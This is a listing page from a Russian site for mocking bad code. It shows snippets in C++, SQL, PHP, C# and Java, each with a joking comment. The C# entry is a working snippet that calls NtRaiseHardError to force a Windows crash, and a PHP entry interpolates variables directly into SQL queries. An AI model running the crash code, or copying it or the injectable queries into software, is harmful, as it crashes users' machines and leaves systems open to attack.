1. Лучший говнокод

    В номинации:
    За время:
  2. Куча / Говнокод #27329

    0

    1. 1
    31 марта - день бэкапа

    С праздником, питухи!

    OCETuHCKuu_nemyx, 31 Марта 2021

    Комментарии (8)
  3. C++ / Говнокод #27316

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    #include <array>
    #include <iostream>
    #include <string_view>
    #include <type_traits>
    
    std::string_view getMaxMargin();
    
    template<int bit_num>
    struct flag {
        friend constexpr int adl_flag(flag<bit_num>);
    };
    
    template<int bit_num>
    struct writer {
        friend constexpr int adl_flag(flag<bit_num>)
        {
            return bit_num;
        }
    
        static constexpr int value = bit_num;
    };
    
    template<int bit_num, int = adl_flag(flag<bit_num>{})>
    constexpr bool is_flag_set(int, flag<bit_num>)
    {
        return bit_num >= 0;
    }
    
    template<int bit_num>
    constexpr bool is_flag_set(float, flag<bit_num>)
    {
        return false;
    }
    
    template<size_t number, size_t bit_num>
    constexpr bool get_bit()
    {
        return (number & (1 << bit_num)) != 0;
    }
    
    #define flags_to_size()                     \
         ((is_flag_set<0>(0, flag<0>{}) << 0)   \
        | (is_flag_set<1>(0, flag<1>{}) << 1)   \
        | (is_flag_set<2>(0, flag<2>{}) << 2)   \
        | (is_flag_set<3>(0, flag<3>{}) << 3))
    
    template<bool test, typename T_true, typename T_false>
    struct meta_if {
        using type = T_true;
    };
    
    template<typename T_true, typename T_false>
    struct meta_if<false, T_true, T_false> {
        using type = T_false;
    };
    
    template<bool test, typename T_true, typename T_false>
    using meta_if_t = typename meta_if<test, T_true, T_false>::type;
    
    template<
        size_t desired_size,
        int = (0 +
               sizeof(meta_if_t<get_bit<desired_size, 0>(), writer<0>, int>) +
               sizeof(meta_if_t<get_bit<desired_size, 1>(), writer<1>, int>) +
               sizeof(meta_if_t<get_bit<desired_size, 2>(), writer<2>, int>) +
               sizeof(meta_if_t<get_bit<desired_size, 3>(), writer<3>, int>)
        )
    >
    constexpr size_t f()
    {
        return desired_size;
    }
    
    int main()
    {
        constexpr size_t a = f<1>();
        constexpr size_t b = f<6>();
        std::cout << "Max margin size: " << getMaxMargin().size() << std::endl;
    }
    
    constexpr size_t MARGIN_SIZE = flags_to_size();
    constexpr char MARGIN_CHAR = 'x';
    
    template<typename T, T... Args>
    constexpr auto getMarginStorageImpl(std::integer_sequence<T, Args...>)
    {
        return std::array<char, sizeof...(Args)>{(static_cast<void>(Args), MARGIN_CHAR)...};
    }
    constexpr auto getMarginStorage()
    {
        return getMarginStorageImpl(std::make_integer_sequence<int, MARGIN_SIZE>());
    }
    constexpr static auto marginStorage = getMarginStorage();;
    
    std::string_view getMaxMargin()
    {
        return std::string_view(marginStorage.data(), MARGIN_SIZE);
    }

    "Интересно, можно ли насфиначить такой шаблон, чтобы в пределах TU сгенерированные литералы были слайсами одного статического массива, длина которого выводилась бы автоматически."

    PolinaAksenova, 25 Марта 2021

    Комментарии (8)
  4. C++ / Говнокод #27246

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    struct Foo { Foo(int, int); };
    struct Bar { explicit Bar(int, int); };
    
    Foo f1(1, 1); // ok
    Foo f2 {1, 1}; // ok
    Foo f3 = {1, 1}; // ok
    
    Bar b1(1, 1); // ok
    Bar b2 {1, 1}; // ok
    Bar b3 = {1, 1}; // NOT OKAY

    А вы пишите explicit у коньструкторов? До меня коллега доёбуецца, что я не пишу.

    3_dar, 10 Февраля 2021

    Комментарии (8)
  5. SQL / Говнокод #27148

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    CREATE OR REPLACE FUNCTION update_last_comment_ids_on_rev_update() RETURNS trigger AS $$
        BEGIN
            UPDATE comments
            SET last_revision_id = NEW.id
            FROM comment_revisions
            WHERE comments.id_ru = NEW.comment_id
                AND comment_revisions.id = comments.last_revision_id
                AND comment_revisions.fetch_time < NEW.fetch_time;
            
            IF (NEW.source = 'XYZ') THEN
                UPDATE comments
                SET last_xyz_revision_id = NEW.id
                FROM comment_revisions
                WHERE comments.id_ru = NEW.comment_id
                    AND comment_revisions.id = comments.last_xyz_revision_id AND comment_revisions.fetch_time < NEW.fetch_time;
            END IF;
            
            RETURN NULL;
        END;
    $$ LANGUAGE plpgsql;

    Извини, defecate-plusplus, снова я на тебя ору из 1970-х.

    gost, 04 Декабря 2020

    Комментарии (8)
  6. PHP / Говнокод #27142

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    $queapplemode = mysqli_query($connect, "SELECT * FROM application_moderate_history ORDER BY user_id ") or die ("error_11111");
        $num=0;
        $nummm=0;
        $oldmodered="";
       	$newmodered="";
        while($apmod =  ($queapplemode))
        {
            // по данной таблице сортируем модераторов по порядку по айди, отслеживаем аппликатион айди, если его нет в бечелор аппликатион, тогда долой, если есть, то сверяем type_id, если 1, то успех и (если не успех, то мимо) тогда берем все данные из таблицы аппликатион модерат и далее обращаемсся в таблицу бачелор аппликатион и берем по аппликатион id там user_id абитуриента
            
            $apid = $apmod['application_id']; //id таблицы bachelor_application
    
            $apidquee = mysqli_query($connect, "SELECT * FROM bachelor_application WHERE id = '{$apid}'") or die ("error_11111");
            if($apidquee11 = mysqli_fetch_assoc($apidquee))
            {
                if($apidquee11['type_id'] == 2)
                {
                    $stateus = $apmod['status']; // статус модерирования
                    if($stateus == 0)
                    {
                        $stateuss = "Готовится";
                    }
                    elseif($stateus == 1)
                    {
                        $stateuss = "Подано";
                    }
                    elseif($stateus == 2)
                    {
                        $stateuss = "Принято";
                    }
                    elseif($stateus == 3)
                    {
                        $stateuss = "Отклонено";
                    }
    
                    $id_moderchika = $apmod['user_id']; // id модератора
                    $moder = mysqli_query($connect, "SELECT * FROM user WHERE id = '{$id_moderchika}' ") or die ("error_111");
                    $modered = mysqli_fetch_assoc($moder);
                    $modered = $modered['username']; //имя модератора
    
                    $commentar = $apmod['comment']; //комментарий от модератора
                    
                    $sozdan = $apmod['created_at']; //дата модерации
                    $sozdan = Yii::$app->formatter->asDatetime($sozdan); 
    
                    $id_polzot = $apidquee11['user_id']; //id абитуриента
                    $user = mysqli_query($connect, "SELECT * FROM user WHERE id = '{$id_polzot}' ") or die ("error_1110");
                    $usered = mysqli_fetch_assoc($user);
                    $usered = $usered['username'];
    
                        $userfio = mysqli_query($connect, "SELECT * FROM user_profile WHERE user_id = '{$id_polzot}' ") or die ("error_1110");
                        $userfioed = mysqli_fetch_assoc($userfio);
                        $userfiofir = $userfioed['firstname'];
                        $userfiomid = $userfioed['middlename'];
                        $userfiolas = $userfioed['lastname'];
    
                    ?>
                        <tr>
                            <td style="border: solid 1px #000; text-align:center;"><?php echo $id_moderchika; ?></td>
                            <td style="border: solid 1px #000; text-align:center;"><?php echo $modered; ?></td>
                            <td style="border: solid 1px #000; text-align:center;"><?php echo $id_polzot; ?></td>
                            <td style="border: solid 1px #000; text-align:center;"><?php echo $usered; ?></td>
                            <td style="border: solid 1px #000; text-align:center;"><?php echo $userfiofir." ".$userfiomid." ".$userfiolas; ?></td>
                            <td style="border: solid 1px #000; text-align:center;"><?php echo $stateuss; ?></td>
                            <td style="border: solid 1px #000; text-align:center;"><?php echo $commentar; ?></td>
                            <td style="border: solid 1px #000; text-align:center;"><?php echo $sozdan; ?></td>
                        </tr>
                
                    <?php 
                    $num++;
    
                    $newmodered = $modered['username'];
                    if($newmodered == $oldmodered)
                    {
                    	$nummm++;
                    	$oldmodered = $newmodered;
                    }
                    else
                    {
                    	$oldmodered = $newmodered;
                    }
                    
    
                    // получаем нового модератора, если новый модератор сопоставим со старым модератором, который в предыдущем цикле прошел итерацию, то просто +1 пишем, если нет, то завершаем суммирование и вносим в старого модера нового модера
                }
            }
        }

    Когда не умеешь пользоваться Джоинами, и соединяешь таблицы, перебирая результат запроса в цикле

    Stipa, 30 Ноября 2020

    Комментарии (8)
  7. C# / Говнокод #27138

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    using JINN=System;
    
    namespace SiniyShaman
    {
    	class PrizivSinegoDemona
    	{
    		[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
    		public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue);
    		
    		[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
    		public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,JINN.IntPtr Parameters,uint ValidResponseOption,out uint Response);
    		
    		[JINN.STAThread]
    		static unsafe void Main(string[]args)
    		{
    			JINN.Runtime.InteropServices.Marshal.PrelinkAll(typeof(PrizivSinegoDemona));
    			JINN.Boolean t1;
    			uint t2;
    			RtlAdjustPrivilege(19,true,false,out t1);
    			NtRaiseHardError(0xc0000022,0,0,JINN.IntPtr.Zero,6,out t2);
    		}
    	}
    }

    Волшебства не бывает говорили они... В армию уже походу не возьмут %)

    DartPower, 29 Ноября 2020

    Комментарии (8)
  8. Java / Говнокод #27101

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    package java.util;
    
    public final class Optional<T> {
        public<U> Optional<U> map(Function<? super T, ? extends U> mapper) {
            Objects.requireNonNull(mapper);
            if (!isPresent())
                return empty();
            else {
                return Optional.ofNullable(mapper.apply(value));
            }
        }
    }

    Они не только не знают, что else после if не нужен и лишь привносит лишний нестинг, они даже единый стиль расставления фигурных скобок выдержать не могут

    Fike, 11 Ноября 2020

    Комментарии (8)
  9. PHP / Говнокод #27091

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    <?php
    /* 
    Purpose : To add database functions.
    Created : Nikitasa
    Date : 16-11-2016
    */
    include 'configs/dbconfig.php';
    class mysql{
    	var $link;
    	// connect database function 
    	public function connect_database(){		
    		$this->link = mysqli_connect(Host,Username,Password,Database);
    		if(!$this->link){
    			die('Unable to connect');
    		}
    		// return $this->link;
       }
    	// query execution
    	public function execute_query($query){		  
    		$result = mysqli_query( $this->link, $query);  
    		// mysqli_more_results($this->link);   
    		return $result;
    	}
      	
    	
    	// next query execution
    	public function next_query(){		      
    		mysqli_next_result($this->link);		
    	}
    	
    	// result display	    
    	public function display_result($result){ 
    		$obj = mysqli_fetch_assoc($result);
    		return $obj;
    	} 
    	
    	// clear the results	    
    	public function clear_result($result){ 
    		mysqli_free_result($result);
       } 
    
    	// real escape string 
    	public function real_escape_str($str){
    		return mysqli_real_escape_string($this->link, $str);
    	}	
    	// number of rows	
    	public function num_rows($result){ 
    		$num = mysqli_num_rows($result);
    	   return $num;
    	}            
    	// close connection
    	public function close_connection(){
    		//mysqli_close($res);	
    		mysqli_close($this->link);	
    	}
    } 
    $mysql = new mysql();
    ?>

    real_escape_string, 07 Ноября 2020

    Комментарии (8)
  10. C++ / Говнокод #27001

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    Node* reverse(Node* head) 
    {
    	Node *end = head, *current = head;
    	while (end->next != nullptr) {
    		end = end->next;
    	}
    	
    	Node *initial_end = end, *temp = nullptr, *temp_2 = nullptr;
    	
    	end->next = current;
    	temp = current;
    	current = current->next;
    	temp->next = nullptr;
    	
    	while (current != initial_end) {
    		
    		temp_2 = initial_end->next;
    		initial_end->next = current;
    		temp = current;
    		current = current->next;
    		temp->next = temp_2;
    	}
    	
    	return initial_end;
    }

    Я где-то прочитал, что на собесе нужно написать переворот односвязного списка за 5 минут... Спустя 2 дня получилось это.

    oaoaoammm, 04 Октября 2020

    Комментарии (8)
  11. Java / Говнокод #26991

    +1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    public static <T> Comparator<T> reverseOrder(Comparator<T> cmp) {
        if (cmp == null)
            return reverseOrder();
    
        if (cmp instanceof ReverseComparator2)
            return ((ReverseComparator2<T>)cmp).cmp;
    
        return new ReverseComparator2<>(cmp);
    }

    кишки стандартной библиотеки йажи продолжают радовать, хорошо хоть нет ReverseComparatorFinal или ReverseComparatorBassBoostedByKirillXXL

    Fike, 30 Сентября 2020

    Комментарии (8)